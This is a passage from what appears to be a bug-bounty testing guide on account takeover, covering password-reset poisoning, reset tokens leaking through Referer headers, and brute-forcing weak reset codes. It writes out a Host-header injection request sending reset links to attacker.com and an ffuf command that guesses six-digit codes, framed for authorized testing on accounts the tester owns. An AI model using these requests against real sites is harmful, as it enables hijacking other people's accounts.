OR keep real Host and add one of:

13. ATO — ACCOUNT TAKEOVER TAXONOMY

9 distinct paths. ATO is a destination class, not a single bug — each path below is a primitive that becomes Critical only when you demonstrate takeover of a SECOND account (test account B) you do not control, from attacker A's session/IP/device. A path that only locks you out of your own account, or only works when you already hold the victim's password AND session, is not a standalone ATO.

Path 1: Password Reset Poisoning (Host-Header)

POST /forgot-password HTTP/1.1
Host: attacker.com                 # primary Host swap
# OR keep real Host and add one of:
X-Forwarded-Host: attacker.com
X-Host: attacker.com
X-Forwarded-Server: attacker.com
# OR dual-Host smuggling:  Host: target.com\r\nHost: attacker.com

[email protected]

The reset mailer builds the link from the request Host header → link points to attacker.com/reset?token=XXXX. Confirmation = OOB, not response-based: point the header at a Burp Collaborator / unique DNS name and read the actual email (use a controlled victim B inbox you own for the test). If the token only appears in the email body that lands at your Collaborator host, you have proof. False-positive killer: many apps put attacker.com in the email but the actual link domain is server-pinned — read the email, do not infer from the reflected header.

Path 2: Reset Token in Referer / Open-Redirect Leak

GET /reset-password?token=ABC123
→ page loads third-party resource: <script src="https://analytics.com/t.js">
→ browser sends  Referer: https://target.com/reset-password?token=ABC123
→ token exfiltrated to every off-origin host the page calls

Also test reset pages that 302 to an open redirect carrying the token in the URL. Proof: capture the outbound request in the Network tab (or Collaborator if you control the off-origin host) showing the full token in the Referer. Mitigated by Referrer-Policy: no-referrer + tokens in POST body — note their absence.

Path 3: Predictable / Weak Reset Tokens

# 6-digit numeric OTP-style reset code, no rate limit:
ffuf -u "https://target.com/api/reset/verify" -X POST \
  -H "Content-Type: application/json" \
  -d '{"email":"[email protected]","code":"FUZZ"}' \
  -w <(seq -w 000000 999999) -mc 200 -fr "invalid" -t 5
# time-based tokens: capture 5 tokens, diff — md5(timestamp)/sequential int = predictable

Discipline: request the victim-B token yourself (you own B), confirm entropy by sampling, THEN show a fresh brute lands. A rate-limit-only finding on /forgot-password is routinely rejected — the impact is token guessing, not request flooding.

Path 4: Token No-Expiry / Reuse / Cross-Account